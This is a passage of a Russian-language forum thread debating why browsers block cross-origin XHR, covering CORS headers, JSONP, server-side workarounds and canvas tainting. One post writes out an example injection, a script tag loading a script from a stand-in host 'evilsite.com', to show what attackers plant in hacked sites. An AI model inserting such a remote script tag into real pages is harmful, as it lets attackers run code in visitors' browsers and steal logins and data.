powered by simpleCommunicator - 2.0.61     © 2026 Programmizd 02
Целевая тема:
Создать новую тему:
Автор:
Закрыть
Цитировать
Форумы / HTML, JavaScript, VBScript, CSS [игнор отключен] [закрыт для гостей] / Философские вопросы по JS
15 сообщений из 115, страница 5 из 5
Философские вопросы по JS
    #37851911
зы
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
он наверное о функции cluster.fork()
...
Рейтинг: 0 / 0
Период между сообщениями больше года.
Философские вопросы по JS
    #38508320
Фотография Яростный Меч
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
задумался тут над неким вопросом и понял, что не совсем понимаю суть тм

почему XHR не кроссдоменный?

вчера спрашивал на неком другом форуме, и дабы не дублировать буквы и словеса, приведу ссылку на там:
http://javascript.ru/forum/offtopic/43765-xhr-i-krossdomennost.html - более подробная формулировка вопроса.
...
Рейтинг: 0 / 0
Философские вопросы по JS
    #38508335
Фотография Малыхин Сергей
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Можно подсунуть скрипт с левого домена который будет исполнятся как родной и как следствие можно (грабить караваны)
получить логины пароли и любые данные с ресурса.
...
Рейтинг: 0 / 0
Философские вопросы по JS
    #38508345
Фотография Яростный Меч
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Малыхин СергейМожно подсунуть скрипт с левого домена который будет исполнятся как родной и как следствие можно (грабить караваны)
получить логины пароли и любые данные с ресурса.не совсем понял мысль, опиши чуть подробнее
...
Рейтинг: 0 / 0
Философские вопросы по JS
    #38508414
Фотография Малыхин Сергей
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
По сути это пассивная попытка защитить данные передаваемые между определенным доменом и пользователем от вмешательства третьей стороны т.е. если каким либо образом на странице(в скрипте) появится XHR на сторонний домен то он не будет работать
как следствие это усложняет межсайтовые скриптинг

И возникает философский вопрос что лучше пассивная защита или упрощенный межсайтовый скриптинг =)
...
Рейтинг: 0 / 0
Философские вопросы по JS
    #38508426
Фотография Яростный Меч
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Малыхин Сергей,

типа "не берите данные с другого домена, они могут быть опасны"?
но ведь всегда можно забрать их через свой сервер, на крайняк jsonp
...
Рейтинг: 0 / 0
Философские вопросы по JS
    #38508440
Фотография Малыхин Сергей
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
именно.

Аналогия .. это просто закрытая дверь открывать ее или нет решать нужно самому
...
Рейтинг: 0 / 0
Философские вопросы по JS
    #38508443
Фотография Яростный Меч
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Малыхин Сергейименно.

Аналогия .. это просто закрытая дверь открывать ее или нет решать нужно самомубольше напоминает одинокую дверь, стоящую на дороге - можно обойти справа и слева, но открыть никак.
...
Рейтинг: 0 / 0
Философские вопросы по JS
    #38508448
Фотография Малыхин Сергей
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
самому можно обходить как угодно )) но эта такая дверь которая ведет в мир другого домена и открывается она только с этой стороны
...
Рейтинг: 0 / 0
Философские вопросы по JS
    #38508459
Фотография Antonariy
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Малыхин СергейПо сути это пассивная попытка защитить данные передаваемые между определенным доменом и пользователем от вмешательства третьей стороны т.е. если каким либо образом на странице(в скрипте) появится XHR на сторонний домен то он не будет работатьКак-то притянуто за уши.
В случае вмешательства третьей стороны, что ей не позволит внедрить код типа <script src=" http://evilsite.com/evilscript.js"></script>, что, собственно, и делается, когда ломают сайты? Этот скрипт выполнится как миленький.

Яростный Меч почему XHR не кроссдоменный? Тоже не вижу смысла в запрете кроссдоменности. В dom вижу, в xhr нет. Даже если xhr скачает evilscript.js, это же просто текст. В отличии от <script> он не исполнится по факту загрузки, если не написать специально код для его исполнения.
...
Рейтинг: 0 / 0
Философские вопросы по JS
    #38508468
Фотография Яростный Меч
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
вообще, картина нагляднее видна в xhr2:
1) для получения данных с другого домена чужой сервер должен выставить заголовок ответа " Access-Control-Allow-Origin ". но это если запрос без куков (дефолтное поведение xhr2)
2) а для запроса с куками должен ещё быть заголовок " Access-Control-Allow-Credentials "

и непонятно ограничение п.1 - его легко обойти серверным запросом, в отличии от п.2, который обойти невозможно в принципе.
...
Рейтинг: 0 / 0
Философские вопросы по JS
    #38508474
Фотография Малыхин Сергей
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Это пассивная защита
Нужна она или нет это вопрос отдельный

Третья сторона может и сам сервер взломать и делать вообще что угодно и еще очень много чего может
к сожалению мудаков полно и такие запреты возникают не на пустом месте =(

кстати CORS позволяет легко включить кросдоменные запросы в браузерах
...
Рейтинг: 0 / 0
Философские вопросы по JS
    #38508480
Фотография Малыхин Сергей
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Яростный Мечвообще, картина нагляднее видна в xhr2:
1) для получения данных с другого домена чужой сервер должен выставить заголовок ответа " Access-Control-Allow-Origin ". но это если запрос без куков (дефолтное поведение xhr2)
2) а для запроса с куками должен ещё быть заголовок " Access-Control-Allow-Credentials "

и непонятно ограничение п.1 - его легко обойти серверным запросом, в отличии от п.2, который обойти невозможно в принципе.
Наверно стороннему домену могут быть нужны куки с основного домена для обработки запроса а могут быть не нужны
это способ указать нужны или нет куки при запросе стороннему серверу
...
Рейтинг: 0 / 0
Философские вопросы по JS
    #38508483
Фотография Яростный Меч
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
не так давно узнал, что кроссдоменные ограничения есть для картинок, но там в принципе все понятно.
а именно:
на своей странице можно добавить "чужую" картинку (тег "<img>") - запрос будет с куками.
эту картинку можно скопировать на канву.
после чего канва становится ущербной - у нее нельзя сделать toDataURL или getImageData.
более того, это заразно: если эту канву скопировать на другую, та другая тоже не сериализуется :)
...
Рейтинг: 0 / 0
Философские вопросы по JS
    #38508529
private
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Кстати xhr2 интересная штука - он посылает запрос на сервер - и сервер принимает его без спец-хедеров - но вот получить ответ от сервера на клиенте можно только выставив эти шедеры.
...
Рейтинг: 0 / 0
15 сообщений из 115, страница 5 из 5
Форумы / HTML, JavaScript, VBScript, CSS [игнор отключен] [закрыт для гостей] / Философские вопросы по JS
Найденые пользователи ...
Разблокировать пользователей ...
Читали форум (0):
Пользователи онлайн (0):
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]